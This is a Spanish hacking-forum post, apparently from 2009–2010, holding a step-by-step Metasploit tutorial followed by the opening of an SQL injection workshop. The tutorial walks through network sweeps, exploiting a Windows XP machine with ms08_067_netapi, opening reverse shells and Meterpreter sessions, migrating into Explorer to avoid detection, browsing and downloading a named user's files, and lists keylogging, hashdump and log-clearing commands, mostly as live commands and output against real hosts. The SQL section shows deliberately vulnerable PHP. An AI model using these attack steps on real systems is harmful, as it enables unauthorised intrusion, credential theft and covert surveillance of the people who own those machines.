Si no saben ni por que objetivo comenzar, pueden hacer un “barrido” de red para saber que equipos “cercanos” a ustedes estan vivos. Lo hacemos asi:
Código: [Seleccionar]
nmap -sP 10.21.37.*
Y con eso obtendriamos un resultado similar a este:
Código: [Seleccionar]
[email protected]:/home/rcart/pentest/scanns# nmap -sP 10.21.37.*

Starting Nmap 4.76 ( http://nmap.org ) at 2009-10-06 20:57 CST
Host 10.21.37.1 appears to be up.
MAC Address: 00:06:5B:DB:8B:8D (Dell Computer)
Host 10.21.37.2 appears to be up.
MAC Address: 00:E0:4D:72:35:73 (Internet Initiative Japan)
Host 10.21.37.3 appears to be up.
MAC Address: 00:0D:87:B2:B4:DD (Elitegroup Computer System Co. (ECS))
Host 10.21.37.72 appears to be up.
MAC Address: 00:E0:4C:A0:0A:F2 (Realtek Semiconductor)
Host 10.21.37.215 appears to be up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 4.43 seconds
[email protected]:/home/rcart/pentest/scanns#

Y como vemos, hay varios equipos que “appears to be up” (esta vivos) y pues ya tendríamos objetivos para poder buscar el puerto 445 abierto con el procedimiento de escaneo anterior.

Existen formas mas complejas pero eficientes de hacer scanns con Nmap, como por ejemplo escanear todos los equipos de nuestra red especificando el puerto 445 y otra variedad de alternativas.

NOTA: Las IP's usadas son de la red a la que pertenezco, ustedes deben utilizar las de su red o la que quieran.

Escaneando objetivos con Nessus

Esta etapa de buscar vulnerabilidades con Nessus no es tan dificil, ya los tenemos configurado y listo para funcionar. Solo hace falta crear una “política de scann” pero como Nessus es bastante intuitivo no creo que ese sea problema :P

Entonces, lo único que tenemos que hacer es agregar el objetivo escaneado con Nmap y que tiene el puerto 445 abierto. Luego le damos al Botón “Scan Now” y si todo ha salido bien, nos deberia de apararecer una imagen similar a esta:

Como vemos, el servicio que nos mostro Nmap en el puerto 445/tcp “Microsoft Windows XP microsoft-ds” aparece completamente vulnerable. Hasta este punto estamos listos para “jugar” con esta maravillosa herramienta: Metasploit Framework.

Mi primera Intrusión con MSF

Despues de tanto, hemos podido encontrar un equipo con la vulnerabilidad que buscábamos y ha llegado el momento de proceder con la explotación.

Primero que nada conozcamos como esta dividido MSF (Metasploit Framework):
  • Exploits: aquí encontramos todos los exploits disponibles en MSF y que podemos utilizar. Estan dividos por SO's y categoriras. Ejemplo: exploits/windows/browser/ y aquí econtrariamos los exploits disponibles para los navegadores que corren en el SO windows.
  • Payloads: esta es una de las cosas mas importantes, es la accion que se va a realizar si se logra explotar la vulnerabilidad que selecccionamos. Ejemplo: windows/shell/reverse_tcp y con esto obtendriamos una shell inversa.
  • Auxiliary: son scripts con diferentes funciones. Ejemplo: auxiliary/scanner/portscan/tcp y utilizando este scanner de puertos tcp, obtendriamos el estado de puertos y el servicio que esta corriendo bajo estos mismo. Muy util si no te gusta Nmap xD
  • Enconders: son algoritmos de codificación para cuando hagamos ingeniería social y tengamos que evadir algunos antivirus. Muy importante conocerlo.
Con eso bastaria conocer por los momentos, el unico que falta son los NOP Generators, no los menciono porque todavia no los comprende como es debido.

Ahora veamos los comandos que necesitaremos utilizar para poder desplazarnos por MSF:

  • help: Nos muestra los comandos disponibles actualmente.
  • show: Nos muestra todo el contenido de cada categoria: exploits, payloads, auxiliary encoders, NOP Generators. Aunque tambien podemos especificar una categoria. Ejemplo: show exploits.
  • search: Busca cualquier objeto mediante una palabra clave. Ejemplo: search ftp
  • info: Proporciona información sobre un exploit,payload, auxiliary, etc. Es muy importante ya que con este comando tambien podemos conocer la descripcion, referencias y equipos en los que se puede utilizar  el objeto al que estamos invocando Ejemplo: info windows/ftp/proftp_banner
  • use: Con este comando, establemos el objeto con el que vamos a trabajar; sea exploit o auxiliary que son con los que vamos a trabajar nosotros. Ejemplo: use exploits/windows/
  • show options: Importantisimo. Si no conocemos como funciona algun exploit o auxiliary este comando nos ayudara muchisimo, aunque por lo general no requieren de muchos parametros. Se ejecuta despues que hayamos seleccionado el objeto: exploit, auxiliary o payload(unicamente si ya se ha seleccionado un exploit)
  • set: Con este comando, establecemos los parametros necesarios de algun exploit o auxiliary. Los parametros dependen del objeto que hayamos seleccionado anteriormente. Por mecionar algun ejemplo:
    set RHOST xxx.xxx.xxx.xxx, set RPORT 445, set LHOST xxx.xxx.xxx.xxx, set LPORT 2525. Son solo ejemplos.
  • set PAYLOAD: Este comando lo pongo aparte porque es importante conocerlo bien. Como mencione anteriormente los payloads es la accion que se realiza cuando un exploit ha explotado una vulnerabilidad correctamente. Lo utilizamos despues de haber seleccionado un exploit únicamente. Comunmente necesitamos establecer los parametros LHOST y LPORT.
  • back: Con esto volveriamos a comenzar desde 0.

Ademas de esos comandos hay muchos otros que poco a poco los iremos viendo cada vez que sea necesario. Tambien debo aclarar que cuando entramos a la interfaz de consola (msfconsole) de MSF tambien podemos hacer uso de los comandos de nuestro SO Gnu/Linux como si estuviéramos en una consola normal.

Les recomiendo que antes de comenzar con la explotación naveguen un poco en MSF utilizando los comandos basicos que mencione anteriormente y cualquier cosa que vean interesante, para que se vallan familiarizando y asi se haga mas facil la practica.

Que exploit utilizaremos para la vulnerabilidad que nos mostró Nessus?
msf08_067_netapi.

Usen el comando info para ver los equipos que son vulnerables a este exploit y sus opciones ademas de otras cosas.

Ingresemos a la interfaz de consola de MSF para comenzar :D
Seleccionamos el exploit que vamos a utilizar:
Código: [Seleccionar]
msf > use exploit/windows/smb/ms08_067_netapi
Verificamos las opciones del exploit para ver cuales estan disponibles y cuales son necesarias para luego ingresarlas:
Código: [Seleccionar]
msf exploit(ms08_067_netapi) > show options
Module options:

   Name     Current Setting  Required  Description
   ----          ---------------       --------  -----------
   RHOST                           yes       The target address
   RPORT    445                 yes       Set the SMB service port
   SMBPIPE  BROWSER  yes       The pipe name to use (BROWSER, SRVSVC)

Exploit target:
   Id  Name
   --  ----
   0   Automatic Targeting

msf exploit(ms08_067_netapi) > set RHOST 10.21.37.179
RHOST => 10.21.37.179
msf exploit(ms08_067_netapi) >

Nota: las opciones que tienen “yes” en la columna “Required” significa que son obligatorias. Algunas se llenan automáticamente, otras hay que ingresarlas manualmente. Luego de ingresar el parametro set RHOST deberían de ver de nuevo las opciones para que vean como se llenan las opciones requeridas.

Ahora seleccionamos el PAYLOAD que vemos a utilizar. En esta ocacion comenzaremos con una simple shell, mas adelante utilizaremos otros.
Código: [Seleccionar]
msf exploit(ms08_067_netapi) > set PAYLOAD windows/shell/reverse_tcp
PAYLOAD => windows/shell/reverse_tcp
msf exploit(ms08_067_netapi) > show options

Module options:

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST    10.21.37.179     yes       The target address
   RPORT    445                    yes       Set the SMB service port
   SMBPIPE  BROWSER     yes       The pipe name to use (BROWSER, SRVSVC)

Payload options (windows/shell/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique: seh, thread, process
   LHOST                             yes       The local address
   LPORT     4444                yes       The local port

Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting

msf exploit(ms08_067_netapi) > set LHOST 10.21.17.215
LHOST => 10.21.17.215
msf exploit(ms08_067_netapi) >

Como veran hemos ingresado los parametros requeridos tanto del exploit como del payload. Ahora solo nos falta verificar (show options) que todo este como queremos para luego ejecutar un comando que no he mencionado, pero es el mas esperado.
Código: [Seleccionar]
msf exploit(ms08_067_netapi) > exploit

[*] Started reverse handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 2 - lang:Spanish
[*] Selected Target: Windows XP SP2 Spanish (NX)
[*] Triggering the vulnerability...
[*] Sending stage (240 bytes)
[*] Command shell session 1 opened (10.21.17.215:4444 -> 10.21.37.179:1035)

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

Wow! Al fin nuestra primera intrusión con MSF! Si no saben que hacer con la shell que acabamos de obtener, les recomendaria que mejor se vallan a ver la televisión LOL.



Conociendo los Modulos Auxiliares (Auxiliary)

Uno de los primeros pasos que se deben tomar para lograr una intrusion, es la recoleccion de informacion. Saber que SO y/o version estamos analizando, que puertos estan abiertos, que servicios, etc. Metasploit contiene una buena cantidad de modulos auxiliares que nos permiten obtener cierta informacion de nuestro objetivo. Se diferencian de los exploits por ser utilizados para la obtencion de informacion, es decir, con los modulos auxiliares no obtendremos ninguna shell, sin embargo nos serviran para llegar a lograrlo. Para ejecutar un modulo auxiliar, ingresamos el comando run.

Sintaxis para el uso de modulos auxiliares: Esta es muy simple y igual que los exploits, dependen del modulo que     estemos utilizando. Los parametros basicos son: RHOSTS, RPORT y THREADS donde:
    RHOST: es el objetivo y puede contener ragos, clases de redes, o varios hosts separados por comas
    RPORT: es el  puerto del servicio, el especificado por defecto no se cambia comunmente.
    THREADS: Numero de hilos concurrentes, se cambian dependiente del numero de host que vamos a analizar.

Recordemos utilizar el comando info para conocer el modulo auxiliar y sus opciones.

En esta seccion, veremos los siguiente modulos auxiliares de tipo scanners:
  • scanner/ssh/ssh_version
  • scanner/portscan/tcp
  • scanner/http/writable
  • scanner/http/options
  • scanner/http/wmap_files_dir
  • scanner/ftp/anonymous
  • scanner/smb/version

scanner/ssh/ssh_version: Este scanner, como su nombre lo dice, nos permite identificar la version del servidor ssh en un objetivo especifico. Veamos un ejemplo:

Seleccionamos el modulo auxiliar:

Código: [Seleccionar]
msf > use auxiliary/scanner/ssh/ssh_version
msf auxiliary(ssh_version) >

Luego observamos sus opciones y asignamos valores dependiendo de las que requiera:

Código: [Seleccionar]
msf auxiliary(ssh_version) > show options

Module options:

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS                    yes       The target address range or CIDR identifier
   RPORT    22               yes       The target port
   THREADS  1                yes       The number of concurrent threads

msf auxiliary(ssh_version) >

Como vemos, este modulo auxiliar contiene las opciones basicas, y como ya las conocemos las asignamos sin ningun problema para luego ejecutarlo con el comando run

Código: [Seleccionar]
msf auxiliary(ssh_version) > set RHOSTS 10.21.0.1
RHOSTS => 10.21.0.1
msf auxiliary(ssh_version) > run

[*] 10.21.0.1:22, SSH server version: SSH-1.5-Cisco-1.25
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(ssh_version) >

Como vemos, la version del servidor ssh es 1.5 y pertenece a un router Cisco, que es el router de mi ISP xD

scanner/portscan/tcp: Este modulo es un scanner de puertos TCP. Nos proporciona muy buenos resultados sobre los puertos abiertos en un objetivo especifico. Veamos:

Código: [Seleccionar]
msf > use auxiliary/scanner/portscan/tcp
msf auxiliary(tcp) > show options

Module options:

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   PORTS    1-10000          yes       Ports to scan (e.g. 22-25,80,110-900)
   RHOSTS                    yes       The target address range or CIDR identifier
   THREADS  1                yes       The number of concurrent threads
   TIMEOUT  1000             yes       The socket connect timeout in milliseconds

msf auxiliary(tcp) >

Las opciones son casi las mismas, no es necesario explicarlas. Veamos que resultados nos muestra:

Código: [Seleccionar]
msf auxiliary(tcp) > set RHOSTS 190.5.x.x
RHOSTS => 190.5.x.x
rmsf auxiliary(tcp) > run

[*]  TCP OPEN 190.5.x.x:21
[*]  TCP OPEN 190.5.x.x:80
[*]  TCP OPEN 190.5.x.x:110
[*]  TCP OPEN 190.5.x.x:111
[*]  TCP OPEN 190.5.x.x:143
[*]  TCP OPEN 190.5.x.x:443
[*]  TCP OPEN 190.5.x.x:631
[*]  TCP OPEN 190.5.x.x:954
[*]  TCP OPEN 190.5.x.x:993
[*]  TCP OPEN 190.5.x.x:995
[*]  TCP OPEN 190.5.x.x:3128
[*]  TCP OPEN 190.5.x.x:3306
[*]  TCP OPEN 190.5.x.x:5432
[*]  TCP OPEN 190.5.x.x:10000
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(tcp) >

Como vemos, obtenemos un excelente resultado de los puertos abiertos en el servidor 190.5.x.x. Este modolo auxiliar  nos serviria de mucho si no contamos con un scanner de puertos.

scanner/http/writeble: Este scanner comprueba si estan permitidos los metodos  PUT/DELETE en un servidor web y si esta permitido, seria un error devastador. Actualmente es muy dificil (por no decir imposible) de encontrar, pero es bueno conocerlo. Se ejecuta asi:

Código: [Seleccionar]
msf > use auxiliary/scanner/http/writable
msf auxiliary(writable) > set RHOST xxxxx.net
RHOST => xxxxx.net
msf auxiliary(writable) > run

[*] Upload failed on http://190.5.x.x:80 [405 Method Not Allowed]
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(writable) >

Despues de ejecutar el modulo, nos muestra que los metodos PUT/DELETE no estan permitidos:"Upload failed on http://190.5.x.x:80 [405 Method Not Allowed]”

scanner/http/options: Con el modulo anterior ya vimos que no estan permitidas las opciones PUT/DELENTE. Ahora veremos como obtener las opciones habilitadas en un servidor web. Dependiendo de las opciones habilitadas tendremos alternativas para continuar con otros metodos externos a MSF. Veamos:

Código: [Seleccionar]
msf auxiliary(anonymous) > use auxiliary/scanner/http/options
msf auxiliary(options) > set RHOSTS xxxxx.net
RHOSTS => xxxxxx.net
msf auxiliary(options) > run

[*] 190.5.x.x allows GET,HEAD,POST,OPTIONS,TRACE methods
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(options) >

El resultado es simple y claro. Ademas esta un poco interensante xD

scanner/http/wmap_files_dir: Este modulo, nos muestra la estructura de directorios del servidor web especificado. Ejemplifiquemos:

Código: [Seleccionar]
msf auxiliary(wmap_dir_listing) > use auxiliary/scanner/http/wmap_files_dir
msf auxiliary(wmap_files_dir) > set RHOSTS xxxxx.hn
msf auxiliary(wmap_files_dir) > run

[*] Using code '404' as not found.
[*] Found http://190.5.92.20:80/admin 301
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(wmap_files_dir) >

En este resultado muestra unicamente el directorio “admin” debido a mi conexion (es una mierda) pero a ustedes deberia mostrar una buena lista de directorios.

scanner/ftp/anonymous: Con este modulo auxiliar, podriamos verificar si esta permitido el usuario anonimo en un servidor ftp. En esta prueba, instale un servidor ftp (vsftpd) en mi PC para comprobar la funcionalidad de este modulo auxiliar. El servidor ftp lo configure permitiendo el acceso a usuarios anonimos. Veamos:

Código: [Seleccionar]
msf auxiliary(writable) > use auxiliary/scanner/ftp/anonymous
msf auxiliary(anonymous) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf auxiliary(anonymous) > run

[*] 127.0.0.1:21 Anonymous READ (220 (vsFTPd 2.0.7))
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(anonymous) >

Como vemos, el resultado es el esperado. Nos muestra que el usuarios esta permitido: “Anonymous READ”. Pero si quisieran saber que resultado muestra cuando no esta permitido el usuario anonimo, con gusto lo demuestro:

Código: [Seleccionar]
msf auxiliary(writable) > use auxiliary/scanner/ftp/anonymous
msf auxiliary(anonymous) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf auxiliary(anonymous) > run

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(anonymous) >

Mismo modulo, mismo target y al parecer el modulo auxiliar se ejecuta, pero no muestra que esta habilitado el usuario anonimo en el servidor. Cumple perfectamente su proposito.

scanner/smb/version: Con este modulo podremos ver exactamente que SO y version se esta ejecutando en el objetivo:

Código: [Seleccionar]
msf > use auxiliary/scanner/smb/version
msf auxiliary(version) > set RHOSTS 10.21.49.12
msf auxiliary(version) > run

[*] 10.21.49.12 is running Windows XP Service Pack 2 (language: Spanish)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(version) >

Y asi se simple obtenemos el SO y version de nuestro objetivo.

Habran notado que en la mayoria de los modulos no mostre las opciones porque creo que son cosas que ya deberian de tomar en cuenta como necesarias y verlas por ustedes mismos. Utilicen los comandos basicos para navegar por la gran variedad de modulos auxiliares que nos proporciona Metasploit Framework y no tengan miedo de ver su definicion, opciones. Ya estan listos para conocer mas modulos auxiliares por ustedes mismos.

Como vemos, Metasploit Framework nos proporciona modulos auxiliares a nivel web que nos podrian ser de mucha ayuda en cualquier momento, ademas de modulos auxiliares que nos sirven para obtener informacion fundamental sobre nuestro objetivo.

Con esto hemos terminado por hoy. Creo que ya indiscutiblemente estamos listos para conocer el espectacular METERPRETER.



Conociendo Meterpreter

Despues de una basica (pero buena) introduccion a algunas de las funcionalidades de Metasploit Framework, hemos podido llegar a obtener nuestra primer shell, pero esto no termina aqui. Una de las primeras cosas que quisieramos hacer despues de obtener una shell, seria mantener nuestra presencia en el equipo remoto y es aqui en donde nos encontramos con el conjunto de scripts avanzados orientado a sistemas windows llamado Meterpreter.

Meterpreter nos permite automatizar el trabajo post-explotacion mediante scripts avanzados que nos facilitan tareas como la interaccion con el registro de windows (regedit), borrado de rastros, descargar/subir archivos, obtencion de passwords del sistema (hash dump), ejecucion de procesos, terminacion de procesos, edicion de archivos de texto, time stamp, etc.

Una de las cosas mas impresionantes de Meterpreter es la migracion de procesos; esto significa, que cuando explotamos la vulnerabilidad objetivo, no se crea un nuevo proceso (como normalmente se hace) sino que Meterpreter se carga en la memoria de uno de los procesos abiertos permitiendonos asi ser lo menos ruidosos que podamos y pasarnos de un proceso a otro sin ningun problema. Con esto no significa que seamos indetectables, pero nos ayuda a evitar ser detectados.

Como utilizamos Meterpreter?

Meterpreter lo encontramos entre los PAYLOADS y como cualquier payload, lo seleccionamos despues de haber puesto en uso un exploit. Comunmente no necesitamos cambiar las opciones por default, solo establecer el host local (LHOST) si el payload es inverso.

En este ejemplo vamos a utilizar los pasos seguidos en “Mi primera Intrusion con MSF” pero la unica diferencia sera el PAYLOAD a utilizar: Meterpreter.
Código: [Seleccionar]
msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set RHOST 10.21.49.12
RHOST => 10.21.49.12
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(ms08_067_netapi) > set LHOST 10.21.17.215
LHOST => 10.21.17.215
msf exploit(ms08_067_netapi) >

Como vemos, hemos puesto en uso el exploit utilizado anteriormente y hemos seleccionado como PAYLOAD Meterpreter con conexion inversa. Les recomiendo, como siempre, utilizar tanto el comando info como el comando show options que seran nuestros aliados siempre. Depues de estar seguros que las opciones y parametros estan establecidos correctamente estamos listos para explotar el objetivo y obtener una sesion con Meterpreter. Que mejor que ver una imagen :D

Excelente, hemos explotado el sistema y abierto una session Meterpreter como lo esperabamos. Ahora conozcamos  algunas de las funciones que nos proporciona Meterpreter y no hay mejor forma de hacerlo que utilizando el comando help o ?:

  Comando

  background     
  exit         
  help               
  irb           
  migrate       
  quit         
  run           
  use           
  cat           
  cd           
  del           
  download     
  edit         
  getlwd       
  getwd       
  lcd           
  lpwd         
  ls           
  mkdir         
  pwd           
  rm           
  rmdir         
  upload       
  ipconfig     
  clearev       
  execute       
  getpid       
  getuid       
  kill         
  ps           
  reboot       
  reg           
  shell         
  shutdown     
  sysinfo   
  keyscan_dump   
  keyscan_start 
  keyscan_stop   
  hashdump
Descripcion

Envia al segundo plano la sesion activa.
Termina la sesion abierta de Meterpreter
Muestra la ayuda
Nos lanza al interprete de Ruby (irb).
Migra de un proceso a otro
Termina la sesion abierta de Meterpreter
Ejecuta un script de Meterpreter. Presionando dos veces TAB veremos los disponibles.
Carga una o mas extension de Meterpreter. Presionando dos veces TAB veremos los disponibles.
Muestra el contenido de un archivo de texto.
Cambia a un directorio
Elimina un archivo especifico
Descarga un archivo o directorio al equipo local
Edita un archivo
Muestra el directorio local en el que estamos trabajando
Muestra el directorio remoto en el que estamos trabajando
Cambia a un directorio local
Muestra el directorio local en el que estamos trabajando
Muestra los archivos contenidos en un directorio
Crea un directorio
Muestra el derectorio remoto en el que estamos trabajando
Elimina un archivo especifico
Elimina un directorio especifico
Sube un archivo o directorio al equipo remoto
Muestra las interfaces de red
Elimina los logs almacenados en la aplicacion “Visor de Sucesos”
Ejecuta un comando
Muestra la identificacion del proceso en el que estamos
Muestra el usuario en el que estamos actualmente
Termina un proceso
Muestra los procesos en ejecucion
Reinicia el equipo remoto
Modifica e interactua con el registro remoto
Nos lanza a una consola en el equipo remoto
Apaga el equipo remoto
Nos muestra informacion sobre el equipo remoto
Muestra las pulsaciones de teclas grabadas
Empieza a capturar pulsaciones de teclas
Detiene la captura de pulsaciones de teclas
Muestra el contenido de la SAM (Contiene los usuarios y passwords encriptadas)

Despues de haber visto la descripcion de algunos de los comandos disponibles en Meterpreter, vamos a hacer uso de unos cuantos, los demas tendran que verlos por ustedes mismos :D

Una vez hemos logrado explotar el sistema, seria bueno saber con que usuario estamos trabajando:
Código: [Seleccionar]
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >

Jeje, como vemos tenemos todos los permisos sobre el sistema sin ninguna limitacion. Ahora lo que tenemo que hacer es migrar a otro proceso despues de haber hecho la intrusion para asegurar que nuestra conexion no se termine si el proceso (aplicacion) que hemos explotado se cierra, pero antes veamos en el proceso que estamos actualmente:

Código: [Seleccionar]
meterpreter > getpid        #Aqui obtenemos el PID en el que estamos
Current pid: 1076        #Despues de la explotacion, Meterpreter se metio en este proceso
meterpreter > ps

Process list
============

    PID   Name              Path
    ---   ----              ----
    580   smss.exe          \SystemRoot\System32\smss.exe
    644   csrss.exe         \??\C:\WINDOWS\system32\csrss.exe
    676   winlogon.exe      \??\C:\WINDOWS\system32\winlogon.exe
    720   services.exe      C:\WINDOWS\system32\services.exe
    732   lsass.exe         C:\WINDOWS\system32\lsass.exe
    912   svchost.exe       C:\WINDOWS\system32\svchost.exe
    980   svchost.exe       C:\WINDOWS\system32\svchost.exe
    1076  svchost.exe       C:\WINDOWS\System32\svchost.exe
    1124  svchost.exe       C:\WINDOWS\system32\svchost.exe
    1232  svchost.exe       C:\WINDOWS\system32\svchost.exe
    1380  alg.exe           C:\WINDOWS\System32\alg.exe
    1492  Explorer.EXE      C:\WINDOWS\Explorer.EXE
    1656  spoolsv.exe       C:\WINDOWS\system32\spoolsv.exe
    1832  VBoxTray.exe      C:\WINDOWS\system32\VBoxTray.exe
    1848  ctfmon.exe        C:\WINDOWS\system32\ctfmon.exe
    2032  WVSScheduler.exe  C:\Archivos de programa\Acunetix\Web Vulnerability Scanner 6\WVSScheduler.exe

meterpreter >

Lo que tenemos que hacer es simplemente pasarle al comando migrate el PID al que queremos migrar. Lo hacemos asi:

Código: [Seleccionar]
meterpreter > migrate 1492
[*] Migrating to 1492...
[*] Migration completed successfully.
meterpreter > getpid
Current pid: 1492
meterpreter >

Y en este proceso (Explorer) creo que podriamos mantenernos estables para hacer nuestro trabajo xD

Ahora veamos un poco como desplazarnos por el sistema de archivos del equipo remoto:

Código: [Seleccionar]
meterpreter > pwd
C:\WINDOWS\system32
meterpreter > cd c:\
meterpreter > pwd
c:\
meterpreter > ls

Listing: c:\
============

Mode                      Size       Type  Last modified              Name
----                             ----       ----  -------------              ----
100555/r-xr-xr-x    115578    fil   2009-09-07 15:08:08 -0600  3c.exe
100777/rwxrwxrwx  0           fil   2009-06-19 14:45:31 -0600  AUTOEXEC.BAT
40777/rwxrwxrwx  0             dir   2009-11-23 14:16:55 -0600  Archivos de programa
100444/r--r--r--       4952       fil   2001-08-24 09:00:00 -0600  Bootfont.bin
100666/rw-rw-rw-  0             fil   2009-06-19 14:45:31 -0600  CONFIG.SYS
40777/rwxrwxrwx  0            dir   2009-06-19 15:37:30 -0600  Documents and Settings
100444/r--r--r--        0            fil   2009-06-19 14:45:31 -0600  IO.SYS
40777/rwxrwxrwx  0            dir   2009-09-22 14:41:37 -0600  Inetpub
100444/r--r--r--     0               fil   2009-06-19 14:45:31 -0600  MSDOS.SYS
40555/r-xr-xr-x     0              dir   2009-06-20 01:22:24 -0600  MSOCache
100555/r-xr-xr-x   47564      fil   2004-08-03 13:38:34 -0600  NTDETECT.COM
40777/rwxrwxrwx  0            dir   2009-06-19 14:59:32 -0600  PFiles
40777/rwxrwxrwx  0            dir   2009-06-19 15:05:15 -0600  System Volume Information
40777/rwxrwxrwx  0            dir   2009-09-22 14:46:04 -0600  WINDOWS
100666/rw-rw-rw- 2565       fil   2009-06-20 01:01:58 -0600  all
100444/r--r--r--      51           fil   2009-12-13 15:28:09 -0600  autorun.inf
100666/rw-rw-rw- 211         fil   2009-06-19 14:39:45 -0600  boot.ini
100555/r-xr-xr-x    113233   fil   2009-08-26 04:22:00 -0600  hx.exe
100555/r-xr-xr-x    113455   fil   2009-09-01 13:23:59 -0600  i0yva6.exe
100555/r-xr-xr-x    112442   fil   2009-08-31 10:55:28 -0600  mt2.exe
100444/r--r--r--       250640  fil   2004-08-03 13:59:42 -0600  ntldr
100666/rw-rw-rw-  402653184  fil   2009-12-13 08:17:25 -0600  pagefile.sys

meterpreter >

Como vemos, la navegacion es muy simple, practicamente es lo mismo que una consola normal.

Ahora ingresemos a la carpeta “Documents and Settings” para ver que usuarios podemos encontrar en el equipo remoto:

Código: [Seleccionar]
meterpreter > cd "Documents and Settings"
meterpreter > ls

Listing: c:\Documents and Settings
==================================

Mode             Size  Type  Last modified              Name
----             ----  ----  -------------              ----
40777/rwxrwxrwx  0     dir   2009-06-19 15:37:30 -0600  .
40777/rwxrwxrwx  0     dir   1979-12-31 17:00:00 -0600  ..
40777/rwxrwxrwx  0     dir   2009-06-19 14:48:48 -0600  Administrador
40777/rwxrwxrwx  0     dir   2009-06-19 14:43:23 -0600  All Users
40777/rwxrwxrwx  0     dir   2009-06-19 14:45:55 -0600  Default User
40777/rwxrwxrwx  0     dir   2009-06-19 15:05:10 -0600  LocalService
40777/rwxrwxrwx  0     dir   2009-06-19 14:47:12 -0600  NetworkService
40777/rwxrwxrwx  0     dir   2009-07-01 13:11:33 -0600  Ronny Josue

meterpreter >

Y asi, de esta forma podemos navegar por todo el sistema de archivos del equipo remoto. Ahora veamos como podriamos descargar un archivo:

Código: [Seleccionar]
meterpreter > pwd
C:\Documents and Settings\Ronny Josue\Mis documentos\Mis archivos recibidos\Install\AdobeReader
meterpreter > ls

Listing: C:\Documents and Settings\Ronny Josue\Mis documentos\Mis archivos recibidos\Install\AdobeReader
========================================================================================================

Mode              Size      Type  Last modified              Name
----              ----      ----  -------------              ----
40777/rwxrwxrwx   0         dir   2009-11-23 14:16:00 -0600  .
40777/rwxrwxrwx   0         dir   2009-11-23 14:16:00 -0600  ..
100777/rwxrwxrwx  16661154  fil   2007-06-12 19:04:20 -0600  AR81Lite_ES.exe

meterpreter > lpwd
/root
meterpreter > download AR81Lite_ES.exe
[*] downloading: AR81Lite_ES.exe -> AR81Lite_ES.exe
[*] downloaded : AR81Lite_ES.exe -> AR81Lite_ES.exe
meterpreter >

Y asi de facil descargamos archivos del equipo remoto al local, el mismo procedimiento se sigue para subir archivos, solo hay que tomar en cuenta el directorio en el que estamos y el directorio al que subiriamos el archivo.

Hasta este punto ya conocen un poquito el manejo de algunos comandos, por si quieren ver alguna descripcion de un comando especifico, pueden poner comando -h en donde “comando” es uno de los comandos dispobles en Meterpreter, para ver cuales estan disponibles utilices el comando Help o ?.

Ahora veamos como podriamos interacturar con una shell por si eso es lo que nos interesa:

Código: [Seleccionar]
meterpreter > cd \
meterpreter > shell
Process 1104 created.
Channel 4 created.
Microsoft Windows XP [Versi�n 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\>

Como vemos, el comando shell nos invoca una shell de windows abrindose en el directorio en donde la invoquemos. Tambien lo podriamos hacer asi:

Código: [Seleccionar]
meterpreter > execute -i -H -f cmd.exe
Process 1396 created.
Channel 5 created.
Microsoft Windows XP [Versi�n 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\>

En donde:
-i: Interactua con la aplicacin a ejecutar
-H: Ejecuta el comando en modo oculto
-f: La aplicacion a ejecutar
 
Para volver a Meterpreter solo escribimos el comando exit. Por los momentos veremos solo estos comandos, los demas los vamos a ir conociendo a medida vallamos avanzado en el tutorial ;)


Creo que el tutorial se podria considerar concluido. Agredezco a los interesados y los que hicieron sus aportes de MSF. Cualquier duda, comentario o critica no duden a hacermelo saber ya sea por este mismo post o por MP.

Autor: Rcart
Fuente: CPH

14
Bugs y Exploits / Taller Inyecciones SQL [Hacker_Zero]
« en: Abril 14, 2010, 02:27:28 pm »
Taller Inyecciones SQL

Eres libre de distribuír ésta información siempre y cuando mantengas ésta cabecera.


Autor: Hacker_Zero
Fuente: http://foro.eduhack.es


Éste documento ha sido realizado con fines exclusivamente didácticos. Todos los ejemplos aquí posteados se realizaron en un servidor previamente preparado por el autor. Ni la web ni el autor se responsabilizan de otros usos que otros usuarios le puedan dar.


Empezamos

¿Que es una inyección SQL?

Pues muy fácil, una inyección SQL nos permite modificar el comportamiento de las consultas a la base de datos permitiendonos acceder a datos no públicos o modificar la base de datos a nuestro antojo.

Muchas veces se habla de que ésta és una técnica complicada, que es necesario aprender SQL. Ésto es falso, podemos inyectar código de una forma totalmente mecánica sin entender el porqué del fallo, lo que lo hace en una técnica peligrosa, aunque también hay técnicas de inyección SQL avanzadas.

Un poco de teoría

Aunque podríamos limitarnos aprender un proceso y utilizarlo mecanicamente sin entender nada, limitarnos a éso sería echar a perder una buena técnica, así que analizaremos el porque de los ataques de inyección SQL. Para ésta misión utilizaremos una base de datos de pruebas donde podremos practicar a nuestras anchas:


http://www.bullcariez.es



1- Averiguando si es vulnerable

Empezaremos por el Ejercicio nº 1. En éste caso, la variable id está mal depurada, aquí el código vulnerable:


CÓDIGO
$user = $_GET['id'>;
(...)
$sql = mysql_query("SELECT * FROM `users` WHERE id=".$user) or die (mysql_error());



